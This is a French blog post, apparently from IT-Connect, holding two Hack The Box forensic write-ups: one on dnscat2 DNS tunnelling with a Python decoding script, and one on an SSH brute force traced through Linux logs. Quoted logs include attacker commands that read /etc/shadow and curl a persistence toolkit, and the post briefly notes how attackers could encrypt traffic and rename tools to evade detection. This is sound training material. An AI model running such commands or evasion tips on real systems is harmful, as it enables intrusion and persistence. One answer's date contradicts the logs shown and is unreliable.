Si vous souhaite l'utiliser dans un contexte professionnel, je vous recommande son installation sur un de vos serveurs déconnectés d'internet pour l’investigation : https://github.com/gchq/CyberChef

La conversion "hexadecimal -> ASCII" nous donne donc un bout de texte intelligible !

L'attaquant est parvenu à utiliser le protocole DNS en tant que protocole d’encapsulation en vue d'envoyer des commandes au serveur compromis, puis de recevoir en retour le résultat. Cette technique est connue sous le nom de DNS protocol Tunneling et est référencée sur le site du MITRE : T1071.004 - Application Layer Protocol: DNS

Un C2, C&C, ou centre de commandement et de contrôle (en anglais, Command and Control), est un élément crucial dans le contexte des cyberattaques. C'est une infrastructure utilisée par les cybercriminels pour gérer et contrôler des systèmes compromis à distance. Les attaquants utilisent de nombreuses infrastructures, techniques et protocoles pour que les agents déployés sur les systèmes compromis des entreprises communiquent avec leur C2, le MITRE ATT&CK en référence un certain nombre : TA0011 - Command and Control

Il est à noter que, contrairement à ce que l'on pourrait penser, le nom de domaine microsofto365.com n'appartient pas à Microsoft, dans la réalité, personne ne possède ce nom de domaine :

Pour comprendre l'intégralité de l'échange, il faut donc isoler le nom DNS exact dans les requêtes et les réponses des paquets déjà isolés, supprimer les éléments parasites (les "." et le "microsofto365.com"), concaténer le tout puis effectuer une conversation hexadécimal vers ASCII, je ne pense pas parvenir à faire cela avec Wireshark, je suis donc passé par le script Python suivant :

#!/usr/bin/python3
import argparse
from scapy.all import rdpcap, DNSQR, DNSRR

def main(args) -> None:
  f = ""
  last = ""
  for p in rdpcap(args.file):
      if p.haslayer(DNSQR) and not p.haslayer(DNSRR) :
          if "microsofto365" in p[DNSQR].qname.decode('utf-8'):
              qry = p[DNSQR].qname.decode('utf-8').replace(args.domain,"").strip().split(".")


              qryStr = ''.join(qry)[4:]
              if len(qryStr) > 1:
                decoded_string = bytes.fromhex(qryStr).decode('utf-8', errors='replace')

                if (len(decoded_string) > 20) and last != decoded_string:
                  f += decoded_string
                last = decoded_string
  print(f)

if __name__ == '__main__':
  # create the top-level parser
  parser = argparse.ArgumentParser(prog='PROG')
  parser.add_argument("-f", '--file', help='.pcap filepath', required=True)
  parser.add_argument("-d", '--domain', help='top domain to remove (eg. attacker.com)', required=True)
  args = parser.parse_args()
  main(args)

J'ai notamment utilisé "scapy" pour isoler les échanges DNS concernant le nom de domaine "microsofto365.com". Des recherches sur le décodage des échanges "dnscat2" m'ont également renseigné sur le besoin de retirer les 4 premiers octets de chaque échange DNS (Analysis on Popular DNS Tunneling Tools), qui correspond à un marqueur spécifique permettant le suivi des sessions "DNScat" : inutile dans le cadre d'une conversion en texte donc. Suite à l'exécution du script :

python3 dnscat2text.py -f suspicious_traffic.pcap -d microsofto365.com

J'obtiens le résultat suivant :

Le résultat n'est pas parfait, mais nous pouvons tout de même comprendre les échanges et exécution de commande qui on eut lieu. On obtient notamment la première commande exécutée par l'attaquant suite au déploiement de sa backdoor : whoami.

D. Tâche n°4 : dnscat2

  • Énoncé - Task 4 : What is the version of the DNS tunneling tool the attacker is using?

Maintenant que nous sommes parvenus à avoir l'échange client-serveur presque en clair, il nous est plus facile de comprendre les opérations réalisées par l'attaquant. Nous pouvons notamment identifier la version de dnscat utilisée dans le nom du binaire déposé par l'attaquant :

Nous savons donc que l'attaquant à utiliser "dnscat2" en version 0.07.

E. Tâche n°5 : un attaquant presque discret

  • Énoncé - Task 5 : The attackers attempts to rename the tool they accidentally left on the clients host. What do they name it to?

L'attaquant aurait tenté de renommer son outil une fois déposé sur le système compromis, nous pouvons de nouveau facilement repérer ses tentatives dans les échanges client-serveur "dnscat2" décodés :

L'attaquant a renommé son binaire "dnscat2" en "win_installer.exe".

Le fait de changer le nom d'un outil malveillant avant de le déposer sur un système surveillé par une solution de sécurité (antivirus, EPP, EDR, etc.) correspond au TTP T1036.005 - Masquerading: Match Legitimate Name or Location. Cela vise à contourner les règles de détections basées sur des mots ou des noms caractéristiques d'outils malveillants ou les analyses manuelles. Les attaquants optent souvent pour des noms communs et connus pour tenter de contourner ses règles, par exemple, en renommant leur malware "firefox.exe", "teams.exe", etc. EPP/EDR et humains peuvent facilement se faire berner par ce genre d'opérations.

Il est à noter que changer le nom du binaire après son dépôt sur le système est moins utile en termes de discrétion. En effet, une bonne partie des solutions de sécurité vont analyser celui-ci et lever une alerte dès sa création sur le système et pas seulement lors de son exécution.

Cependant, ce type de renommage peut être utile dans le cadre d'une persistance. En effet, un administrateur effectuant une analyse manuelle des processus en cours d'exécution ne prêtera pas attention à un processus win_installer.exe en cours d'exécution, alors qu'un processus "dns2cat.exe" l'interrogera un peu plus, le poussant à investiguer.

F. Tâche n°6 : Enumeration utilisateur

  • Énoncé - Task 6 : The attacker attempts to enumerate the users cloud storage. How many files do they locate in their cloud storage directory?

Il semblerait que l'attaquant ait tenté d'énumérer les fichiers Cloud depuis le système compromis. En effet, nous pouvons voir cette tentative :

Seulement le dossier "OneDrive" parcouru par l'attaquant ne contenait aucun fichier.

G. Tâches n°7 et 8 : fuite d'informations sensibles

  • Énoncé - Task 7 : What is the full location of the PII file that was stolen?
  • Énoncé - Task 8 : Exactly how many customer PII records were stolen?

Ces deux tâches peuvent être traitées en même temps. Il s'agit de retrouver le nom et le contenu du fichier sensible ayant été dérobé par l'attaquant. Il nous suffit de suivre le flux des échanges clients-serveur décodés jusqu'à trouver ceci :

Nous voyons que l'attaquant a consulté le fichier "C:\users\test\documents\client data optimisation\user details.csv" et que celui-ci contient des informations personnelles :

Ce fichier contient 721 lignes (le premier objet ayant l'identifiant 0), c'est donc le nombre de clients uniques contenu dans le fichier dérobé.

IV. Résumé de l'attaque

Au cours de cette investigation, nous avons découvert que suite une compromission du système "desktop-umncbe7" par un vecteur non connu, l'attaquant a déposé un binaire sur le système, puis a utilisé le protocole DNS pour établir une communication directe entre son C2 et le système compromis. L'attaquant a effectué une brève recherche de fichiers sensibles sur le système et a récupéré les informations personnelles de 721 clients, incluant noms, prénoms, mails, adresses, numéros de téléphone, date de naissance, etc.

Pour aller jusqu'au bout de la démarche, voici les TTP (Tactics, Techniques and Procedures) utilisés :

TTP (MITRE ATT&CK)Détails
T1583.001 - Acquire Infrastructure: DomainsAcquisition du nom de domaine microsofto365.com
T1583.002 - Acquire Infrastructure: DNS ServerMise en place d'un serveur DNS via un dnscat2 exposé sur Internet en vue de recevoir et de répondre aux requêtes du système compromis (client)
TA0002 - ExecutionCompromission de l'utilisateur test sur le système desktop-umncbe7 par un vecteur non connu
T1608.002 - Stage Capabilities: Upload ToolDépôt du binaire dnscat2
T1071.004 - Application Layer Protocol: DNSExécution du binaire dnscat2 et établissement d'un canal de communication encapsulé dans le protocole DNS
T1036.005 - Masquerading: Match Legitimate Name or LocationRenommage du binaire dnscat2 en win_installer.exe
T1083 - File and Directory DiscoveryRecherche dans le système de fichier du système compromis
T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 ProtocolAffichage et exfiltration du fichier "user details.csv" contenant les informations personnelles

V. Notions abordées

Nous allons à présent mettre en avant les principales notions et les apprentissages de cet exercice, aussi bien pour l'attaquant que pour les défenseurs ou l'analyste. Il ne s'agit pas d'un point de vue complet, n'hésitez pas à améliorer ce contenu en donnant votre avis dans les commentaires :).

A. Côté analyste

Côté analyste, connaitre les outils et les méthodes des attaquants pour être discret et passer sous les radars est important. Ici, il est facile pour un analyste de passer à côté des flux DNS. La connaissance et le suivi actif des mises à jour des TTP du MITRE ATT&CK permet aux analystes de rester à jour sur les outils et techniques utilisés par les attaquants.

Il est à noter qu'en conditions réelles, le protocole DNS serait totalement noyé (en volume) par les autres protocoles, ce qui rendrait d'autant plus difficile cette investigation. Il serait peut-être intéressant de disposer d'un outil qui oriente les recherches de l'analyste, au moins sur les techniques connues et fréquemment utilisées et lors d'une analyse de formats connus et standardisés comme les fichiers PCAP. Une des fonctions de cet outil pourrait, par exemple, répondre à la question "est-ce qu'il existe des requêtes DNS portant sur des noms très long ?".

Nous avons également vu que la maitrise de Wireshark est importante et permet de gagner du temps sur les analyses de flux réseau. Notamment via les fonctions de statistique et les filtres.

Disposer d'une boite à outils pour se faciliter la vie est également important et c'est ce qu'apporte, entre autres, l'expérience et la formation. L'outil cyberchef est ici un incontournable, comme les outils capables d'identifier et d'extraire des informations concernant les noms de domaine. Il en va de même pour les méthodologies d'analyse. Je suis, par exemple, passé à côté du fait que le domaine microsofto365.com n'est pas un domaine officiel de Microsoft pendant toute l'analyse, car je n'ai pas fait la requête "whois" concernant ce nom de domaine immédiatement. Cela aurait pu m'induire en erreur (miser sur l'utilisation d'instances Cloud par l'attaquant par exemple).

B. Côté défense

Côté défense, il peut déjà être recommandé d'investiguer de façon plus approfondie sur les raisons de la compromission, élément qui est hors du périmètre de cette analyse.

Également, la mise en place de règles de détections basées sur un volume anormalement élevé de requête DNS ou la taille de noms de domaine peut être recommandé. Il faut savoir qu'un nom DNS a une taille maximale de 255 caractères :

Cependant, dans la réalité, il est très rare de croiser des noms de domaine dépassant 50 ou 60 caractères. J'ai d'ailleurs déjà croisé des solutions de sécurité basées sur l'analyse des flux réseau émettant une alerte de sécurité lorsqu'une requête ou réponse DNS concernant un nom de domaine trop long était identifiée.

La mise en place d'une solution de sécurité capable de détecter les outils malveillants que pourrait déposer un attaquant est également à recommander. Il est, par exemple, aisé de trouver des règles de détection SIGMA (utilisées par les EDR et IDS, entre autres) concernant le binaire ou les commandes PowerShell dnscat2 : Detection.fyi - Dnscat Execution

Il est difficile de proposer des améliorations concernant le nom de domaine utilisé par l'attaquant. Impossible de prévoir toutes les permutations DNS non enregistrées concernant Google, Microsoft ou autres Cloud provider. Si l'entreprise souhaite surveiller ses propres noms de domaine et être informé de l'enregistrement d'un nom de domaine ressemblant au sien par un attaquant, différents outils peuvent être utilisés :

C. Côté attaquant

Ici, nous sommes parvenus à décoder les échanges encapsulés dans le protocole DNS, car ceux-ci étaient simplement encodés en hexadécimal. Il faut savoir que dnscat2, l'outil utilisé par l'attaquant, possède une fonction permettant de chiffrer les échanges à l'aide d'une clé fixe avant transmission via le réseau. Il est alors plus complexe pour l'analyste de retrouver le contenu des échanges avec le C2.

Également, il pourrait être intéressant pour l'attaquant de renommer ses binaires malveillants avant dépôt sur le système, cela pour éviter qu'un éventuel antivirus, EPP ou EDR n'émette une alerte basée sur un terme surveillé dans les noms des fichiers ou des commandes.

V. Conclusion

J'espère que cet article vous a plu ! Au-delà de la résolution du challenge, il est toujours intéressant de savoir tirer parti de ces exercices pour s'améliorer et en extraire le maximum d'apprentissage. N'hésitez pas à utiliser les commentaires et le Discord pour partager votre avis ! 🙂

Enfin, si vous voulez accéder à des cours et des modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy

The post Hack the box – Sherlocks (forensic) : découverte et solution de Litter first appeared on IT-Connect.

Hack the box – Sherlocks (forensic) : découverte et solution de Brutus

16 avril 2024 à 08:00

I. Présentation

On se retrouve dans cet article pour une nouvelle solution de l'un des challenges d'investigation numérique/forensic nommés Sherlocks et mis à disposition par la plateforme Hack The Box. Dans cet article, nous allons détailler la démarche qui permet de résoudre le Sherlocks Brutus, de difficulté "débutant". Il s'agit d'un challenge très simple fait pour les débutants en cybersécurité qui vise à démystifier le forensic au travers un cas d'usage assez simple, mais tout de même réaliste.

Cet article sera notamment l'occasion de comprendre comment peut se dérouler concrètement une cyberattaque, et quels sont les modes opératoires des attaquants et analystes en cybersécurité. Nous allons plus précisément étudier le cas d'une attaque par bruteforce sur un service SSH et quelques fichiers de logs classiques des systèmes d'exploitation Linux.

Lien du challenge : Hack The Box - Sherlocks - Brutus

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque le Sherlocks en question sera indiqué comme "Retired".

Technologies abordéesLinux, bruteforce, wtmp, auth.log, SSH
Outils utiliséscat, grep, tail, uniq, framework MITRE ATT&CK

Retrouvez tous nos articles Hack The Box via ce lien :

II. Découverte de l'archive et des journaux

Dans le cadre de l'investigation, un contexte et une archive sont mis à disposition :

Le scénario du challenge nous apprend qu'un serveur Linux Confluence a été la cible d'une attaque par brute force et que l'attaquant est parvenu à accéder au serveur puis à réaliser des actions sur celui-ci. Notre objectif va donc être d'identifier plus clairement les différentes phases de cette cyberattaque en étant guidé par les questions du challenge.

Si l'on s'intéresse à l'archive "Brutus.zip" téléchargée et décompressée, nous découvrons deux fichiers :

Comme l'indique l'extension ".log", il s'agit de logs, c'est-à-dire des journaux d'évènements.

Les journaux d'évènements, ou "logs", sont des fichiers dans lesquels sont inscrits des informations à propos des opérations menées sur un système, avec des informations techniques et un horodatage, comme : "12/03/2022 12:56 : L'utilisateur john s'est authentifié". Ils permettent d'assurer une traçabilité des évènements et actions dans le temps sur un système et sont utilisés pour du debug, mais aussi pour l'investigation à la suite d'une cyberattaque puisqu'ils permettent de retracer la vie du système dans le passé.

Les fichiers de logs sont en général organisés par périmètre (authentification, application web, etc.) et suivent une structure et un formatage précis.

Ces deux fichiers ont des noms que les habitués des systèmes d'exploitation Linux devraient reconnaitre :

  • Le fichier "/var/log/auth.log" est un fichier servant à stocker les évènements relatifs à l'authentification sur les systèmes d'exploitations Linux tels qu'une authentification échouée ou réussie, locale ou distante.
  • Le fichier "/var/log/wtmp" est également un fichier de log qui vise à garder une trace de toutes les connexions et déconnexions au système. Il utilise un format différent des fichiers ".log", qui sont des fichiers texte et doit être parcouru à l'aide d'une commande bien précise.

Si l'on regarde les premières lignes du fichier "auth.log", on peut notamment y voir des informations concernant les authentifications, tentatives d'authentification et déconnexions sur le système, exemple :

Mar  6 06:31:42 ip-172-31-35-28 sshd[2423]: Failed password for backup from 65.2.161.68 port 34834 ssh2
Mar  6 06:31:42 ip-172-31-35-28 sshd[2424]: Failed password for backup from 65.2.161.68 port 34856 ssh2
Mar  6 06:31:44 ip-172-31-35-28 sshd[2423]: Connection closed by authenticating user backup 65.2.161.68 port 34834 [preauth]
Mar  6 06:31:44 ip-172-31-35-28 sshd[2424]: Connection closed by authenticating user backup 65.2.161.68 port 34856 [preauth]
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184

Passons à présent aux différentes tâches de notre investigation qui nous permettrons d'en découvrir plus sur ces fichiers et quelles informations ils peuvent nous fournir dans le cadre de l'étude d'une cyberattaque.

III. Investigation numérique : le cas Brutus

A. Tâche n°1: Identifier l'adresse IP de l'attaquant

  • Énoncé - Task 1 : Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?

D'après le scénario proposé dans le cadre du challenge, le système ayant produit ces logs à subit une attaque par brute force, qui consiste à essayer un très grand nombre de mots de passe pour un même compte utilisateur jusqu'à trouver la bonne combinaison. Parmi les nombreuses informations journalisées dans le fichier "auth.log" lors d'une authentification figure l'adresse IP du client.

Afin d'extraire toutes les adresses IP du fichier "auth.log", nous pouvons utiliser la commande "grep" ainsi qu'une expression régulière qui va extraire toutes les chaines de caractères qui s'apparentent à une adresse IP.

$ grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' auth.log  | uniq -c
      1 203.101.190.9
      4 65.2.161.68
      1 172.31.35.28
    210 65.2.161.68

Comme vous pouvez le voir, j'ai également utilisé la commande "uniq" avec l'option "-c" afin qu'elle me sorte le nombre d'occurrences de chaque adresse IP. L'adresse IP "65.2.161.68" sort clairement du lot avec 210 occurrences. Nous pouvons à nouveau utiliser la commande "grep" pour extraire toutes les lignes de log contenant cette adresse IP :

$ grep "65.2.161.68" auth.log         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Invalid user admin from 65.2.161.68 port 46380      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Received disconnect from 65.2.161.68 port 46380:11: Bye Bye [preauth]           
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Disconnected from invalid user admin 65.2.161.68 port 46380 [preauth]           
Mar  6 06:31:31 ip-172-31-35-28 sshd[620]: drop connection #10 from [65.2.161.68]:46482 on [172.31.35.28]:22 past MaxStartups             
Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: Invalid user admin from 65.2.161.68 port 46392      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2332]: Invalid user admin from 65.2.161.68 port 46444      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2331]: Invalid user admin from 65.2.161.68 port 46436      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2332]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2331]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2330]: Invalid user admin from 65.2.161.68 port 46422

Cela nous donne effectivement des exemples intéressants, comme "Invalid user admin from 65.2.161.68" qui indique qu'une authentification a été tentée depuis cette adresse IP pour un utilisateur "admin", qui de toute façon n'existe pas sur le système.

Lorsqu'un attaquant opère une attaque par brute force sans connaitre de login utilisateur valide sur sa cible, il doit réaliser beaucoup plus de tests que s'il a la certitude de l'existence du compte utilisateur ciblé. Ainsi, son attaque à moins de chance d'aboutir et il a plus de chance de se faire détecter si de tels évènements sont surveillés.

Maintenant que nous avons identifié l'adresse IP de l'attaquant, nous allons pouvoir tenter de mieux comprendre les opérations qu'il a menées.

B. Tâche n°2 : Authentification réussie

  • Énoncé - Task 2 : The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?

La tâche suivante nous demande d'identifier quel compte a effectivement été compromis sur le système grâce à cette attaque. En regardant attentivement les journaux relatifs à l'adresse IP identifiée, nous pouvons voir que certains d'entre eux indiquent "Accepted password", c'est notamment le cas des toutes dernières lignes du fichier "auth.log" :

$ grep "65.2.161.68" auth.log | tail -n 4
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2

Ainsi, en faisant un filtre sur le mot "Accepted" grâce à la commande "grep", nous pouvons obtenir toutes les authentifications réussies :

$ grep "Accepted" auth.log 
Mar  6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh

La première authentification réussie par l'adresse IP "65.2.161.68" concerne le compte utilisateur "root". C'est donc le mot de passe de ce compte qui a été découvert via l'attaque par brute force.

C. Tâche n°3 : Date de connexion SSH

  • Énoncé - Task 3 : Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?

Cette étape nous demande la date exacte de la première connexion réussie par l'attaquant. Nous pouvons cette fois-ci nous intéresser au fichier "wtmp" qui référence les ouvertures et fermetures de session sur un système. La première chose à savoir et qu'il ne s'agit pas d'un simple fichier texte comme "auth.log". Nous devons utiliser un outil capable de lire et correctement formater son contenu pour qu'il nous soit intelligible : la commande "last".

$ last -f wtmp -F
cyberjun pts/1        65.2.161.68      Wed Mar  6 07:37:35 2024   gone - no logout
root     pts/1        65.2.161.68      Wed Mar  6 07:32:45 2024 - Wed Mar  6 07:37:24 2024  (00:04)
root     pts/0        203.101.190.9    Wed Mar  6 07:19:55 2024   gone - no logout
reboot   system boot  6.2.0-1018-aws   Wed Mar  6 07:17:15 2024   still running
root     pts/1        203.101.190.9    Sun Feb 11 11:54:27 2024 - Sun Feb 11 12:08:04 2024  (00:13)
root     pts/1        203.101.190.9    Sun Feb 11 11:41:11 2024 - Sun Feb 11 11:41:46 2024  (00:00)
root     pts/0        203.101.190.9    Sun Feb 11 11:33:49 2024 - Sun Feb 11 12:08:04 2024  (00:34)
root     pts/0        203.101.190.9    Thu Jan 25 12:15:40 2024 - Thu Jan 25 13:34:34 2024  (01:18)
ubuntu   pts/0        203.101.190.9    Thu Jan 25 12:13:58 2024 - Thu Jan 25 12:15:12 2024  (00:01)
reboot   system boot  6.2.0-1017-aws   Thu Jan 25 12:12:17 2024 - Sun Feb 11 12:09:18 2024 (16+23:57)

Ici, l'option "-F" nous permet d'obtenir la date complète de chaque session journalisée. Nous pouvons voir, si l'on regarde les sessions ouvertes par l'adresse IP suspecte identifiée, qu'une première session a été ouverte à 07:32:45 le 06/03/2024.

Un piège de l'exercice était ici de faire le lien entre ces horaires et ceux du fichier "auth.log" et de constater une différence d'une heure entre ces deux formats (pour une raison obscure). La bonne date est donc "2024-03-04 06:32:45".

D. Tâche n°4 : Identification de session SSH

  • Énoncé - Task 4 : SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?

Il nous faut à présent identifier le numéro de session SSH associé à cette connexion.

Dans ce contexte, le numéro de session SSH permet de suivre les évènements relatifs à une session dans les journaux dans le cas ou plusieurs sessions apparaissent dans une même plage horaire.

Nous pouvons pour cela utiliser l'option "-A X" de la commande "grep" qui va nous afficher les X lignes après un match par rapport à la chaine de caractères recherchée. Cela nous permet de retrouver la connexion "root" de l'adresse IP "65.2.161.68".

$ grep "Accepted" auth.log  -A 5          
--
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:31:40 ip-172-31-35-28 systemd-logind[411]: New session 34 of user root.
--
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Received disconnect from 65.2.161.68 port 34782:11: Bye Bye
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Disconnected from user root 65.2.161.68 port 34782
--
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar  6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:33:01 ip-172-31-35-28 CRON[2562]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session closed for user confluence

Quelques lignes plus loin, nous avons l'information recherchée "New session 34", mais si l'on regarde la ligne suivante et l'horodatage de l'ensemble, on remarque que l'attaquant s'est déconnecté la même seconde, donc immédiatement. Il s'agit donc là de la connexion réussie réalisée par son outil de brute force, et non d'une connexion "manuelle" qui aurait eu un temps d'existence plus long. Là est aussi l'intérêt d'étudier également le fichier "wtmp", qui présente les mêmes informations de manière plus claire. Dans le fichier "auth.log", nous voyons bien que les informations relatives à une seule connexion sont sur plusieurs lignes et séparées par des informations concernant d'autres sessions.

Le second match nous indique une seconde session, qui elle n'est pas immédiatement déconnectée : "New session 37 of user root".

E. Tâche n°5 : création d'un accès persistant

  • Énoncé - Task 5 : The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

D'après l'énoncé, l'attaquant aurait créé un accès dérobé sur le système compromis. À nouveau, l'étude du contenu du fichier "auth.log" nous renseigne sur un évènement de création d'un utilisateur, peu après la connexion de l'attaquant avant le compte "root" :

$ grep "65.2.161.68" auth.log | tail 
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
Mar  6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie

Il semble donc que l'attaquant se soit créé un compte utilisateur pour pouvoir revenir plus tard sur le système, lui assurant ainsi un accès en cas de changement du mot de passe du compte "root". Le compte ici créé parait donc être "cyberjunkie", l'attaquant est venu s'y connecter juste après l'avoir créé.

$ grep "65.2.161.68" "cyberjunkie" auth.log
[...]
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2

F. Tâche n°6 : TTP du MITRE ATT&CK

  • Énoncé - Task 6 : What is the MITRE ATT&CK sub-technique ID used for persistence?

Il nous est ici demandé de catégoriser cette opération de l'attaquant par rapport au framework du MITRE ATT&CK. La recherche peut être un peu fastidieuse si vous n'êtes pas du tout familier du framework. On peut déjà orienter nos recherches sur la catégorie "Persistence" qui concerne les opérations menées dans le but de maintenir un accès dans le temps sur un système compromis :

Présentation de la tactic "Persistence" sur framework MITRE ATT&CK.
Présentation de la tactic "Persistence" sur framework MITRE ATT&CK.

Après avoir parcouru les différents TTP de cette "Tactic", il semble ici que ce soit le TTP 1136.001 qui corresponde le mieux à notre situation :

TTP 1136.001 relatif à l'opération de création d'un compte local à des fins de persistance.
TTP 1136.001 relatif à l'opération de création d'un compte local à des fins de persistance.

G. Tâche n°7 : Temps de session SSH

  • Énoncé - Task 7 : How long did the attacker's first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)

Cet énoncé nous demande de trouver la durée de la session utilisateur en tant que "root". Il faut pour cela se baser sur l'horodatage des journaux d'évènements relatifs à la connexion et déconnexion de cette session :

$ grep -i "session 37" auth.log
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37.

Le temps total de la session est de 279 secondes.

H. Tâche n°8 : Commande sudo

  • Énoncé - Task 8 : The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

D'après l'énoncé, l'attaquant a utilisé son compte "cyberjunkie" afin d'élever ses privilèges en tant que "root" sur le système en utilisant la commande "sudo".

La commande "sudo" sur les systèmes Linux permet aux utilisateurs autorisés d'exécuter des commandes avec les privilèges d'autres utilisateurs, généralement "root". Elle permet d'attribuer des sortes de dérogation d'élévation de privilège sur des commandes précises. Certaines dérogations, si elles sont mal définies ou portent sur des commandes "vulnérables" peuvent être utilisées par l'attaquant pour outrepasser le seul périmètre de la commande et obtenir une session en tant que root.

On parle alors de "sudo escape" : T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Nous pouvons utiliser la commande "grep" sur le terme "sudo" et repérer rapidement la commande en question :

$ grep "sudo" auth.log 
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
Mar  6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar  6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Mar  6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for use

L'attaquant a donc utilisé la commande "sudo" afin de télécharger sur internet un script nommé "linper.sh", que nous pouvons d'ailleurs consulter de nous même : https://github.com/montysecurity/linper :

Il s'agit d'une boîte à outil de persistance ("persistence toolkit") pour les OS Linux, il vise à proposer plusieurs méthodes de persistance pour s'implanter de façon durable sur un système Linux compromis.

IV. Résumé de l'attaque

Au cours de cette investigation, nous avons pu étudier la cyberattaque menée sur notre serveur par un attaquant. Les journaux d'évènements nous ont permis de déterminer qu'une attaque par brute force a été menée sur le service SSH, sans connaissance préalable de comptes utilisateurs existants (mis à part un compte par défaut : "root"). L'opération a permis à l'attaquant de découvrir le mot de passe du compte "root". Compte qui a été utilisé pour créer un compte de persistance ("cyberjunkie") par l'attaquant et ajouter à ce compte un moyen d'exécuter des commandes en tant que root par l'intermédiaire d'une dérogation "sudo".

